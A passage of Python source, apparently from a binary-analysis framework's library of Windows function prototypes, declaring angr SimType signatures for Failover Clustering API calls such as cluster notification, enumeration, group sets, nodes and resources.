label="UInt"), label="UIntPtr", offset=0)], SimTypePointer(SimStruct({}, name="_HCHANGE", pack=False, align=None), offset=0), arg_names=["hChange", "hCluster", "dwFilter", "dwNotifyKey"]), # 'RegisterClusterNotify': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCHANGE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hChange", "dwFilterType", "hObject", "dwNotifyKey"]), # 'GetClusterNotify': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCHANGE", pack=False, align=None), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hChange", "lpdwNotifyKey", "lpdwFilterType", "lpszName", "lpcchName", "dwMilliseconds"]), # 'CloseClusterNotifyPort': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCHANGE", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hChange"]), # 'ClusterOpenEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({}, name="_HCLUSENUM", pack=False, align=None), offset=0), arg_names=["hCluster", "dwType"]), # 'ClusterGetEnumCount': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hEnum"]), # 'ClusterEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSENUM", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hEnum", "dwIndex", "lpdwType", "lpszName", "lpcchName"]), # 'ClusterCloseEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hEnum"]), # 'ClusterOpenEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0)], SimTypePointer(SimStruct({}, name="_HCLUSENUMEX", pack=False, align=None), offset=0), arg_names=["hCluster", "dwType", "pOptions"]), # 'ClusterGetEnumCountEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSENUMEX", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hClusterEnum"]), # 'ClusterEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSENUMEX", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "dwType": SimTypeInt(signed=False, label="UInt32"), "cbId": SimTypeInt(signed=False, label="UInt32"), "lpszId": SimTypePointer(SimTypeChar(label="Char"), offset=0), "cbName": SimTypeInt(signed=False, label="UInt32"), "lpszName": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CLUSTER_ENUM_ITEM", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hClusterEnum", "dwIndex", "pItem", "cbItem"]), # 'ClusterCloseEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSENUMEX", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hClusterEnum"]), # 'CreateClusterGroupSet': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0), arg_names=["hCluster", "groupSetName"]), # 'OpenClusterGroupSet': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszGroupSetName"]), # 'CloseClusterGroupSet': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hGroupSet"]), # 'DeleteClusterGroupSet': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupSet"]), # 'ClusterAddGroupToGroupSet': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupSet", "hGroup"]), # 'ClusterAddGroupToGroupSetWithDomains': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupSet", "hGroup", "faultDomain", "updateDomain"]), # 'ClusterRemoveGroupFromGroupSet': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup"]), # 'ClusterGroupSetControl': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupSet", "hHostNode", "dwControlCode", "lpInBuffer", "cbInBufferSize", "lpOutBuffer", "cbOutBufferSize", "lpBytesReturned"]), # 'AddClusterGroupDependency': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hDependentGroup", "hProviderGroup"]), # 'SetGroupDependencyExpression': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "lpszDependencyExpression"]), # 'RemoveClusterGroupDependency': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "hDependsOn"]), # 'AddClusterGroupSetDependency': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hDependentGroupSet", "hProviderGroupSet"]), # 'SetClusterGroupSetDependencyExpression': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupSet", "lpszDependencyExprssion"]), # 'RemoveClusterGroupSetDependency': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupSet", "hDependsOn"]), # 'AddClusterGroupToGroupSetDependency': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hDependentGroup", "hProviderGroupSet"]), # 'RemoveClusterGroupToGroupSetDependency': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "hDependsOn"]), # 'ClusterGroupSetOpenEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0)], SimTypePointer(SimStruct({}, name="_HGROUPSETENUM", pack=False, align=None), offset=0), arg_names=["hCluster"]), # 'ClusterGroupSetGetEnumCount': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSETENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupSetEnum"]), # 'ClusterGroupSetEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSETENUM", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupSetEnum", "dwIndex", "lpszName", "lpcchName"]), # 'ClusterGroupSetCloseEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSETENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupSetEnum"]), # 'AddCrossClusterGroupSetDependency': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hDependentGroupSet", "lpRemoteClusterName", "lpRemoteGroupSetName"]), # 'RemoveCrossClusterGroupSetDependency': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hDependentGroupSet", "lpRemoteClusterName", "lpRemoteGroupSetName"]), # 'CreateClusterAvailabilitySet': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "dwUpdateDomains": SimTypeInt(signed=False, label="UInt32"), "dwFaultDomains": SimTypeInt(signed=False, label="UInt32"), "bReserveSpareNode": SimTypeInt(signed=True, label="Int32")}, name="CLUSTER_AVAILABILITY_SET_CONFIG", pack=False, align=None), offset=0)], SimTypePointer(SimStruct({}, name="_HGROUPSET", pack=False, align=None), offset=0), arg_names=["hCluster", "lpAvailabilitySetName", "pAvailabilitySetConfig"]), # 'ClusterNodeReplacement': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszNodeNameCurrent", "lpszNodeNameNew"]), # 'ClusterCreateAffinityRule': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="CLUS_AFFINITY_RULE_TYPE")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "ruleName", "ruleType"]), # 'ClusterRemoveAffinityRule': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "ruleName"]), # 'ClusterAddGroupToAffinityRule': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "ruleName", "hGroup"]), # 'ClusterRemoveGroupFromAffinityRule': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "ruleName", "hGroup"]), # 'ClusterAffinityRuleControl': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "affinityRuleName", "hHostNode", "dwControlCode", "lpInBuffer", "cbInBufferSize", "lpOutBuffer", "cbOutBufferSize", "lpBytesReturned"]), # 'OpenClusterNode': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszNodeName"]), # 'OpenClusterNodeEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszNodeName", "dwDesiredAccess", "lpdwGrantedAccess"]), # 'OpenClusterNodeById': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), arg_names=["hCluster", "nodeId"]), # 'CloseClusterNode': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hNode"]), # 'GetClusterNodeState': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="CLUSTER_NODE_STATE"), arg_names=["hNode"]), # 'GetClusterNodeId': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNode", "lpszNodeId", "lpcchName"]), # 'GetClusterFromNode': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0)], SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), arg_names=["hNode"]), # 'PauseClusterNode': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNode"]), # 'ResumeClusterNode': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNode"]), # 'EvictClusterNode': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNode"]), # 'ClusterNetInterfaceOpenEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({}, name="_HNETINTERFACEENUM", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszNodeName", "lpszNetworkName"]), # 'ClusterNetInterfaceEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETINTERFACEENUM", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNetInterfaceEnum", "dwIndex", "lpszName", "lpcchName"]), # 'ClusterNetInterfaceCloseEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETINTERFACEENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNetInterfaceEnum"]), # 'ClusterNodeOpenEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({}, name="_HNODEENUM", pack=False, align=None), offset=0), arg_names=["hNode", "dwType"]), # 'ClusterNodeOpenEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0)], SimTypePointer(SimStruct({}, name="_HNODEENUMEX", pack=False, align=None), offset=0), arg_names=["hNode", "dwType", "pOptions"]), # 'ClusterNodeGetEnumCountEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODEENUMEX", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNodeEnum"]), # 'ClusterNodeEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODEENUMEX", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "dwType": SimTypeInt(signed=False, label="UInt32"), "cbId": SimTypeInt(signed=False, label="UInt32"), "lpszId": SimTypePointer(SimTypeChar(label="Char"), offset=0), "cbName": SimTypeInt(signed=False, label="UInt32"), "lpszName": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CLUSTER_ENUM_ITEM", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNodeEnum", "dwIndex", "pItem", "cbItem"]), # 'ClusterNodeCloseEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODEENUMEX", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNodeEnum"]), # 'ClusterNodeGetEnumCount': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODEENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNodeEnum"]), # 'ClusterNodeCloseEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODEENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNodeEnum"]), # 'ClusterNodeEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODEENUM", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNodeEnum", "dwIndex", "lpdwType", "lpszName", "lpcchName"]), # 'EvictClusterNodeEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNode", "dwTimeOut", "phrCleanupStatus"]), # 'GetClusterResourceTypeKey': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), arg_names=["hCluster", "lpszTypeName", "samDesired"]), # 'CreateClusterGroup': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszGroupName"]), # 'OpenClusterGroup': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszGroupName"]), # 'OpenClusterGroupEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszGroupName", "dwDesiredAccess", "lpdwGrantedAccess"]), # 'PauseClusterNodeEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=True, label="Int32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNode", "bDrainNode", "dwPauseFlags", "hNodeDrainTarget"]), # 'ResumeClusterNodeEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="CLUSTER_NODE_RESUME_FAILBACK_TYPE"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNode", "eResumeFailbackType", "dwResumeFlagsReserved"]), # 'CreateClusterGroupEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "groupType": SimTypeInt(signed=False, label="CLUSGROUP_TYPE")}, name="CLUSTER_CREATE_GROUP_INFO", pack=False, align=None), offset=0)], SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszGroupName", "pGroupInfo"]), # 'ClusterGroupOpenEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({}, name="_HGROUPENUMEX", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszProperties", "cbProperties", "lpszRoProperties", "cbRoProperties", "dwFlags"]), # 'ClusterGroupGetEnumCountEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPENUMEX", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupEnumEx"]), # 'ClusterGroupEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPENUMEX", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "cbId": SimTypeInt(signed=False, label="UInt32"), "lpszId": SimTypePointer(SimTypeChar(label="Char"), offset=0), "cbName": SimTypeInt(signed=False, label="UInt32"), "lpszName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "state": SimTypeInt(signed=False, label="CLUSTER_GROUP_STATE"), "cbOwnerNode": SimTypeInt(signed=False, label="UInt32"), "lpszOwnerNode": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "cbProperties": SimTypeInt(signed=False, label="UInt32"), "pProperties": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "cbRoProperties": SimTypeInt(signed=False, label="UInt32"), "pRoProperties": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CLUSTER_GROUP_ENUM_ITEM", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupEnumEx", "dwIndex", "pItem", "cbItem"]), # 'ClusterGroupCloseEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPENUMEX", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupEnumEx"]), # 'ClusterResourceOpenEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({}, name="_HRESENUMEX", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszProperties", "cbProperties", "lpszRoProperties", "cbRoProperties", "dwFlags"]), # 'ClusterResourceGetEnumCountEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESENUMEX", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResourceEnumEx"]), # 'ClusterResourceEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESENUMEX", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "cbId": SimTypeInt(signed=False, label="UInt32"), "lpszId": SimTypePointer(SimTypeChar(label="Char"), offset=0), "cbName": SimTypeInt(signed=False, label="UInt32"), "lpszName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "cbOwnerGroupName": SimTypeInt(signed=False, label="UInt32"), "lpszOwnerGroupName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "cbOwnerGroupId": SimTypeInt(signed=False, label="UInt32"), "lpszOwnerGroupId": SimTypePointer(SimTypeChar(label="Char"), offset=0), "cbProperties": SimTypeInt(signed=False, label="UInt32"), "pProperties": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "cbRoProperties": SimTypeInt(signed=False, label="UInt32"), "pRoProperties": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CLUSTER_RESOURCE_ENUM_ITEM", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResourceEnumEx", "dwIndex", "pItem", "cbItem"]), # 'ClusterResourceCloseEnumEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESENUMEX", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResourceEnumEx"]), # 'OnlineClusterGroupEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "hDestinationNode", "dwOnlineFlags", "lpInBuffer", "cbInBufferSize"]), # 'OfflineClusterGroupEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "dwOfflineFlags", "lpInBuffer", "cbInBufferSize"]), # 'OnlineClusterResourceEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "dwOnlineFlags", "lpInBuffer", "cbInBufferSize"]), # 